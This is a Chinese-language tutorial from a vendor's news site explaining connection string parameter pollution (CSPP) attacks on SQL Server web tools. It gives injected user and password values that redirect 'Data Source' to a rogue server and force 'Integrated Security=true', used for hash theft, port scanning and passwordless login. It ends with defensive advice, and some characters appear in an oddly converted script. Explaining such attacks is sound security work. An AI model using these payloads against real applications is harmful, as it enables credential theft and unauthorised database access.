溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何分析CSPP連接字符串參數(shù)污染攻擊

發(fā)布時間:2021-12-16 18:25:24 來源:億速云 閱讀:165 作者:柒染 欄目:網(wǎng)絡管理

如何分析CSPP連接字符串參數(shù)污染攻擊,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。

連接字符串參數(shù)污染攻擊

SQL注入攻擊是最常見的注入攻擊方法,主要利用web應用調(diào)用數(shù)據(jù)庫查詢的實現(xiàn)缺陷來進行攻擊。

CSPP攻擊,顧名思義,則是通過利用應用程序連接到數(shù)據(jù)庫過程中設計缺陷來進行漏洞攻擊。

由于現(xiàn)在WEB應用數(shù)據(jù)查詢體系的發(fā)展方向,導致CSPP攻擊已經(jīng)逐漸消失在大眾的目光下。

(Connection String Parameter PollutionAttacks  連接字符串參數(shù)污染攻擊)

0X01 Web應用認證委托

典型的web應用程序的身份驗證系統(tǒng)有兩種實現(xiàn)結(jié)構(gòu):

1、創(chuàng)建自己的憑據(jù)認證系統(tǒng) (目前常見于WEB應用)

2、將其委托給數(shù)據(jù)庫引擎(目前常見于內(nèi)網(wǎng)應用)

在大多數(shù)情況下,應用程序開發(fā)人員選擇只使用一個用戶連接數(shù)據(jù)庫。

從數(shù)據(jù)庫端來看,這個數(shù)據(jù)庫用戶代表整個web應用程序,web應用程序?qū)⑹褂眠@一個數(shù)據(jù)庫連接,來實現(xiàn)對存儲應用程序的用戶身份憑證的自定義用戶表進行SQL查詢。

如何分析CSPP連接字符串參數(shù)污染攻擊

圖1.公共web應用程序身份驗證體系結(jié)構(gòu)

Web應用程序管理登錄過程圖

1.Web應用程序使用它的憑據(jù)連接到數(shù)據(jù)庫

2.查詢用戶登錄信息

3.檢查存儲在用戶自定義表中的用戶登錄信息

web應用程序由一個數(shù)據(jù)庫用戶標識,該用戶可以訪問數(shù)據(jù)庫中的整個應用程序內(nèi)容,因此,不可能在數(shù)據(jù)庫中的不同對象上實現(xiàn)粒度化的權(quán)限系統(tǒng),或者跟蹤web應用程序中每個用戶的操作,只能將這些任務委托給web應用程序本身。 這種架構(gòu)很常見,可以在廣泛使用的CMS系統(tǒng)中找到,如Joomla、Mambo和許多其他系統(tǒng)。通常情況下,攻擊者的目標是從數(shù)據(jù)庫中的users表中獲取應用程序用戶憑據(jù)。

另一種方法是將身份驗證委托給數(shù)據(jù)庫引擎,這樣連接字符串就不再包含一組固定的憑據(jù),而是使用用戶輸入的憑據(jù),并由數(shù)據(jù)庫引擎負責檢查它們。

數(shù)據(jù)庫管理程序經(jīng)常使用這種委托身份驗證,以便連接到應用程序的用戶只能訪問和控制他擁有權(quán)限的對象和操作。有了這種架構(gòu),就可以實現(xiàn)一個細粒度的權(quán)限系統(tǒng),并能夠在數(shù)據(jù)庫中跟蹤用戶的操作。

如何分析CSPP連接字符串參數(shù)污染攻擊

圖2.Web應用程序委托身份驗證體系結(jié)構(gòu)。

數(shù)據(jù)庫引擎管理登錄過程

1.web應用要求輸入憑證

2.連接字符串由要連接到數(shù)據(jù)庫的輸入憑證組成

3.連接字符串中使用的用戶的決定著賬號的角色和權(quán)限

本文中描述的CSPP攻擊集中于第二種環(huán)境: 將身份驗證委托給數(shù)據(jù)庫引擎。
tips: 較久遠的內(nèi)網(wǎng)客戶端應用常用第二種架構(gòu)。

0X02 連接字符串

連接字符串被用于連接應用程序到數(shù)據(jù)庫引擎。

其中指定要連接的服務器和端口、數(shù)據(jù)庫名稱、身份驗證憑據(jù)和一些連接配置參數(shù),如超時、替代數(shù)據(jù)庫、通信協(xié)議或加密選項。

一個用于連接到Microsoft SQL Server數(shù)據(jù)庫的普通連接字符串:

"Data Source=Server, Port; Network Library=DBMSSOCN;Initial Catalog=DataBase; User ID=Username; Password=pwd;"

如示例所示,連接字符串是由分號(;)分隔的參數(shù)集,每個參數(shù)是一個鍵值對。

無論SQL server是什么版本(7,2000,2005和2008),其中默認支持程序的連接字符串語法是相同的

0X03 連接字符串注入

在授權(quán)認證環(huán)境中,連接字符串注入技術(shù)允許攻擊者通過在參數(shù)后面附加分號(;)來注入?yún)?shù)。

在一個要求用戶輸入用戶名和密碼以創(chuàng)建連接字符串的示例中,攻擊者可以輸入密碼,例如"pwd;Encryption=off",產(chǎn)生的連接字符串如下:

"Data Source=Server, Port; Network Library=DBMSSOCN; Initial Catalog=DataBase; User ID=Username; Password=pwd; Encryption=off"

填充連接字符串時,加密值將添加到前面配置的參數(shù)集中

0X04  連接字符串參數(shù)污染

參數(shù)污染技術(shù)用于覆蓋參數(shù)上的值。它們在HTTP[5]環(huán)境中是眾所周知的,但它們也適用于其他環(huán)境。在本例中,可以將參數(shù)污染技術(shù)應用于連接字符串中的參數(shù),從而允許多種攻擊。

示例場景:

1、一個運行在Windows的IIS Web服務器上的web應用程序,

2、其中用戶認證時需要一個用戶[User_Value]和一個密碼[Password_Value]。

3、應用程序?qū)⒂脩糨斎氲膽{據(jù)用于創(chuàng)建到SQL Server數(shù)據(jù)庫的連接字符串,

如下所示:

Data source SQL2005; initial catalog dbl ; integrated security=no; user id=+' User_Value' + ; Password=+'Password Value' + ;

PS: integrated security 集成安全性

這個連接字符串顯示了應用程序如何連接到SQL Server數(shù)據(jù)庫引擎。

知道了這一點,攻擊者就可以執(zhí)行連接字符串參數(shù)污染攻擊。

這種攻擊的思想是向連接字符串添加一個具有所需值的參數(shù),而不管該參數(shù)是否已經(jīng)存在于字符串中或已經(jīng)設置的值中。

.net應用創(chuàng)建連接字符串時默認使用連接字符串中最后一次出現(xiàn)的參數(shù)的值。

即,如果連接字符串有兩個鍵為“Data Source”的參數(shù),那么使用的值將是最后兩個對中的一個,這允許以下CSPP攻擊向量:

0X05 CSPP攻擊1: Hash竊取

攻擊者可以在Internet放置一個用于監(jiān)聽的欺詐SQL Server,并使用SQL Server憑證嗅探器監(jiān)聽(在本例中使用了CAIN )。

攻擊者會進行如下CSPP攻擊:

User Value :Data Source = Rogue _ Server      (欺詐服務器地址)

Password Value: Integrated Security true       (集成安全性啟用)

PS: integrated security 集成安全性

正確拼接將生成以下連接字符串:

Data source SQL2005; initial catalog dbl; integrated security=no; user id=;Data Source=Rogue_Server; Password Integrated Security=true;

此時"Data Source"和"Integrated Security"參數(shù)被覆蓋,因此SQL Server本地驅(qū)動程序?qū)⑹褂米詈笠唤M值,而忽略前面的值。

此時,應用程序?qū)L試使用運行的Windows憑據(jù)連接到欺詐服務器,該憑據(jù)可以是系統(tǒng)用戶,也可以是應用程序池用戶。此時通過在欺詐服務器嗅探,可以獲取到web應用所使用的憑據(jù)。

0X05 示例1:ASP.NET Enterprise Manager

ASP.NETEnterprise Manager 是一個被遺棄的、不受支持的開源數(shù)據(jù)庫工具,通過web界面來管理SQL Server數(shù)據(jù)庫,這個工具還可以從SourceForge等網(wǎng)站上獲得。

如何分析CSPP連接字符串參數(shù)污染攻擊

圖3.利用CSPP竊取ASP.NET企業(yè)管理工具中的帳戶信息

如何分析CSPP連接字符串參數(shù)污染攻擊

圖4.在欺詐服務器中運行的Cain收集到HASH值

HASH竊取主要流程

1、構(gòu)造鏈接,使得服務器向欺詐服務器發(fā)起攜帶默認認證信息的請求。

2、最終導致在應用將憑證發(fā)往安裝了數(shù)據(jù)庫連接嗅探器的欺詐服務器上,

3、嗅探器CAIN成功收集到了允許訪問該帳戶的LM哈希。

tips:現(xiàn)在可以使用其他的憑證嗅探工具,如respender

如何分析CSPP連接字符串參數(shù)污染攻擊

0X07 CSPP攻擊2:端口掃描

連接字符串上的一個有效參數(shù)是要連接到的端口。

攻擊者可以通過修改端口號嘗試連接到不同的端口,通過對比獲得的錯誤消息,從而實現(xiàn)掃描內(nèi)部或外部網(wǎng)絡上的服務器:

注入輸入值:

User_Value: Data Source =Target_Server, Target _Port

Password Value: Integrated Security true

PS: integrated security 集成安全性

此種輸入將產(chǎn)生以下連接字符串:

Data source SQL2005; initial catalog dbl ; integrated security=no; user id=;Data Source=Target Server, Target Port; Password=; Integrated Security=true;

此連接字符串將忽略第一個“Data Source”參數(shù),并將使用最后一個“Data Source”參數(shù),這意味著web應用程序?qū)L試連接到“Server”機器上的“Target Port”端口。

觀察返回的錯誤消息中的差異,從而可以執(zhí)行端口掃描。

0x08 示例2: myLittleAdmin and myLittleBackup

mylittleleadmin和myLittleBackup都是由myLittleTools開發(fā)的商業(yè)工具。這兩個工具在mylittleleadmin 3.5和myLittleBackup1.6版本之前都容易受到CSPP攻擊。

如何分析CSPP連接字符串參數(shù)污染攻擊圖5 可以通過端口80建立到www.gooogle.com的連接

如何分析CSPP連接字符串參數(shù)污染攻擊圖6 無法通過XX端口與www.google.com建立連接

端口掃描分析過程:

如圖5所示,當端口正在監(jiān)聽(打開)時,獲得的錯誤消息說沒有Microsoft SQL Server正在監(jiān)聽,但是成功建立了TCP連接。說明端口是開放的。

如圖6所示,當端口關(guān)閉時,TCP連接無法完成,錯誤消息是不同的。使用這些錯誤消息,可以在服務器上運行完整的TCP端口掃描。

0x09 CSPP攻擊3:劫持Web證書

攻擊者可以試圖通過使用web應用程序使用系統(tǒng)帳戶連接數(shù)據(jù)庫,而不需要用戶提供賬號密碼信息:

輸入值:

User Value: Data Source =Target_Server (目標服務器)

Password Value: Integrated Security true(啟用集成安全)

PS: integrated security 集成安全性

這些注入的值將產(chǎn)生以下連接字符串:

Data source SQL2005; initial catalog dbl ; integrated security=no; user id=;Data Source=Target Server, Target Port; Password Integrated Security=true;

這一次是主要用“True”值覆蓋的“integrated security”參數(shù)。

這意味著系統(tǒng)將嘗試使用工具正在運行的系統(tǒng)帳戶連接數(shù)據(jù)庫。

在本例中,這是web服務器中的web應用程序使用的系統(tǒng)帳戶。

PS: integrated security屬性請看附錄

0x10 示例3: SQL Server Web Data Administrator

發(fā)布在微軟網(wǎng)站上的SQL Server Web Data Administrator版本容易受到CSPP攻擊。

下面的截圖顯示了如何使用這種類型的攻擊訪問系統(tǒng)。

如何分析CSPP連接字符串參數(shù)污染攻擊圖7.在WEB Data Administrator工具上利用憑據(jù)

如何分析CSPP連接字符串參數(shù)污染攻擊圖8.使用服務器帳戶進行控制臺訪問

如何分析CSPP連接字符串參數(shù)污染攻擊圖9系統(tǒng)帳戶訪問授權(quán)。

在圖7中,密碼值為如上所述的: integrated Security=true。

在圖8中,攻擊者可以登錄web應用程序來管理整個系統(tǒng)。

如圖9所示,漏洞原因是所有用戶和網(wǎng)絡服務都可以訪問服務器。

0x11 Integrated security介紹

常規(guī)連接數(shù)據(jù)庫字符串示例:

string constr = "Data source=(local);initial catalog=data;integratedsecurity=true";

integratedsecurity=false (默認)

表示一定要輸入正確的數(shù)據(jù)庫登錄名和密碼,才能進行登錄認證。

integratedsecurity=true

表示可以在不知道數(shù)據(jù)庫用戶名和密碼的情況下時連接數(shù)據(jù)庫,利用當前應用憑據(jù)進行認證。

通過構(gòu)造CSPP將integrated security 覆蓋為true,能夠?qū)崿F(xiàn)HASH竊取,免密登錄等效果。

0x12 其他數(shù)據(jù)庫連接字符串

這些技術(shù)也適用于其他數(shù)據(jù)庫引擎,

如Oracle數(shù)據(jù)庫,它允許管理員在數(shù)據(jù)庫中設置集成的安全性。 此外,在Oracle連接字符串中,可以通過強制使用sysdba會話來改變用戶連接的方式。

MySQL數(shù)據(jù)庫不允許管理員配置集成的安全認證過程。然而,仍然有可能注入代碼和操作連接字符串,以嘗試連接到未向Internet公開的內(nèi)部服務器。

各種數(shù)據(jù)庫的連接字符串

mysql

"Server=localhost;Database=mytest;User=root;Password=;Port=3306;Charset=utf8"

SQL Server

"Database=MyData;DataSource=NICKYAN-PC;User Id=sa;Password=123123;"

Oracle

"DataSource=NICKYAN-PC;User Id=PB_DB_USER;Password=123123;IntegratedSecurity=no"

OleDB

"Provider=Microsoft.Jet.OLEDB.4.0;DataSource=RedGlovePermission.Web\DB\MyData.mdb;Persist Security Info=False"

追加

Integrated security介紹

常規(guī)連接數(shù)據(jù)庫字符串示例:

string constr = "Data source=(local);initial catalog=data;integrated security=true";

PS: integrated security 集成安全性

Integrated security存在true和=false兩種可選參數(shù)

integrated security=false (默認)

表示一定要輸入正確的數(shù)據(jù)庫登錄名和密碼,才能進行登錄認證。

integrated security=true

表示可以在不知道數(shù)據(jù)庫用戶名和密碼的情況下時連接數(shù)據(jù)庫,利用當前應用憑據(jù)進行認證。

通過構(gòu)造CSPP將integrated security 覆蓋為true,能夠?qū)崿F(xiàn)HASH竊取,免密登錄等效果。

各種數(shù)據(jù)庫的連接字符串

mysql

"Server=localhost;Database=mytest; User=root;Password=;Port=3306;Charset=utf8"

SQL Server

"Database=MyData;Data Source=NICKYAN-PC;User Id=sa;Password=123123;"

Oracle

"Data Source=NICKYAN-PC;User Id=PB_DB_USER;Password=123123;Integrated Security=no"

OleDB

"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=RedGlovePermission.Web\DB\MyData.mdb;Persist Security Info=False"

0X13 各種數(shù)據(jù)庫的連接字符串

微軟發(fā)布了ConnectionStringbuilder是避免這類攻擊,但并不是所有的項目都更新為使用這些新的安全組件。    為了避免這些攻擊,必須過濾掉分號字符,清除所有參數(shù),并加強防火墻,以便不僅過濾入站連接,還防止來自向internet發(fā)送NTLM憑據(jù)的內(nèi)部服務器的出站連接。

看完上述內(nèi)容是否對您有幫助呢?如果還想對相關(guān)知識有進一步的了解或閱讀更多相關(guān)文章,請關(guān)注億速云行業(yè)資訊頻道,感謝您對億速云的支持。

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI